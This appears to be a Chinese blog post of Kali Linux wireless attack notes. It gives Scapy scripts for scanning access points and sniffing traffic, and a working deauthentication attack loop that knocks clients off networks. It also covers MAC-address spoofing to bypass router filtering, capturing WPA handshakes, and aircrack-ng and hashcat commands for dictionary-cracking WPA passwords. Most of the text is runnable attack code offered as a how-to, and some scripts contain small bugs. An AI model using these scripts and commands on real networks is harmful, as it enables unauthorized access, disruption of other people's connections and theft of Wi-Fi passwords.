一、kali中的无线功能
- iwconfig 查看网卡连接情况
- airmon-ng start wlan0 在终端启动wlan0,设置成监听模式
- 查看网卡工作模式
from pythonwifi.iwlibs import Wireless
wifi=Wireless('wlan0mon')
print(wifi.getMode())
- airodump-ng wlan0mon 查看所有可以连接的无线网络
- BSSID 热点的MAC地址
- PWR 无线信号强度或水平
- Beacons 无线发出的通告编号
- ENC 加密方法,包括WPA2、WPA、WEP、OPEN
- CH 工作频道
- ACTH 使用的认证协议
- ESSID 无线网络名称
正在上传…重新上传取消转存失败重新上传取消
二、kali无线测试
- 无线网络扫描器
from scapy.all import *
from scapy.layers.dot11 import Dot11Beacon
interface = 'wlan0mon'
ap_list = []
def info(fm):
if fm.haslayer(Dot11Beacon):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID--> ",fm.addr2
sniff(iface=interface,prn=info)
- 无线数据嗅探器
from scapy.all import *
import subprocess
subprocess.call('airmon-ng start wlan0',shell=True)
iface="wlan0mon"
def dump_packet(pkt):
print pkt.summary()
while True:
sniff(iface=iface,prn=dump_packet,count=10,timeout=3,store=0)
- 无线网络的客户端扫描器
from scapy.all import *
import subprocess
from scapy.layers.dot11 import Dot11ProbeResp, Dot11ProbeReq
#subprocess.call('airmon-ng start wlan0',shell=True)
iface="wlan0mon"
probe_req=[]
ap_name=raw_input("please input the ap name")
print ap_name
def probesniff(fm):
if fm.haslayer(Dot11ProbeReq):
client_name=fm.info
if client_name== ap_name:
if fm.addr2 not in probe_req:
print "New Probe Request:",client_name
print "Mac ",fm.addr2
probe_req.append(fm.addr2)
sniff(iface=iface,prn=probesniff)
- 扫描隐藏的SSID
from scapy.all import *
from scapy.layers.dot11 import Dot11ProbeReq, Dot11AssoReq
iface = "wlan0mon"
def handle_packet(packet):
if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq):
print "Found SSID "+packet.info
print "Sniffing on interface "+iface
sniff(iface=iface,prn=handle_packet)
- 绕过目标的MAC过滤机制
路由器限制只有MAC为特定的设备才能连接到网络中
ifconfig wlan0 down
ifconfig wlan0 hw ether CC:B0:DA:2D:44:80
ifconfig wlan0 up //先关闭,修改,在开启 重启后会失效
- 捕获WPA数据包
import subprocess
from scapy.all import *
subprocess.call('airmon-ng start wlan0',shell=True)
packets = []
def handle_packet(pkt):
if pkt.haslayer(EAPOL) and pkt.type == 2:
packets.append(pkt)
print packet.summary()
if len(packets) == 4:
wrpcap("wpa_handshake.pcap",packets)
sys.exit(0)
print "sniffing on interface "+"wlan0mon"
sniff(iface="wlan0mon",prn=handle_packet)
//通过kali的Aircrack解捕获的数据包
aircrack-ng -w dic.txt wep_handshake.pcap
- Deauth攻击
#参数AP的BSSID 被踢设备的MAC地址
import time
from scapy.all import *
from construct.examples.protocols.ipstack import dest_unreachable_code
iface = "wlan0mon"
timeout=1
if len(sys.argv)<2:
print sys.argv[0] + " <bssid> [client]"
sys.exit(0)
else:
bssid = sys.argv[1]
if len(sys.argv)==3:
dest = sys.argv[2]
else:
dest="ff:ff:ff:ff:ff:ff"
pkt=RadioTap()/Dot11(subtype=0xc,addr1=dest,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=3)
while True:
print "Sending deauth to "+dest
sendp(pkt,iface=iface)
time.sleep(timeout)
三、aircrack-ng工具
1.aircrack-ng组件表
- aircrack-ng 用于WEP和WPA-PSK密码的恢复,只要airodump-ng收集到足够数量的数据包,aircrack-ng就可以自动检测数据包,并判断是否可以破解
- airmon-ng 用于改变网卡工作模式
- airodump-ng 用于捕获802.11数据报文,以便于aircrack-ng破解
- aireplay-ng 在进行WEP及WPA-PSK密码恢复时,可以根据需要创建特殊的无线网络数据报文及流量
- airserv-ng 可以将无线网卡连接至某一特定端口
- airolib-ng 进行WPA Rainbow Table攻击时使用,用于建立特定的数据库文件
- airdecap-ng 用于解开处于加密状态的数据包
- tools 其他辅组工具,如:airdriver-ng、packetforge-ng
2.破解WPA的wifi密码
- airmon-ng start wlan0 //设置成监听模式
- airodump-ng wlan0mon //探测附近的热点
- airodump-ng --channel 11 --bssid 热点的MAC地址 -w 热点的名字 wlan0mon //获取那个热点的数据包
- aireplay-ng -0 1 -a 热点的MAC地址 -c 主机的MAC地址 wlan0mon //破解WPA/WPA2的关键是获取一个完整的握手包,使用deauth攻击,强迫下线,客户端自动重连
- aircrack-ng 文件名.cap -w 字典.txt //通过字典暴力破解
3.hashcat破解WPA密码 (使用显卡加速)
- cap2hccapx.exe 文件名.cap xxx.hccapx //把cap文件转化成hccapx文件
- hashcat64.exe -m 2500 -a 0 文件.hccapx 字典.txt //使用hashcat破解密码
更多推荐
kali无线渗透测试
发布评论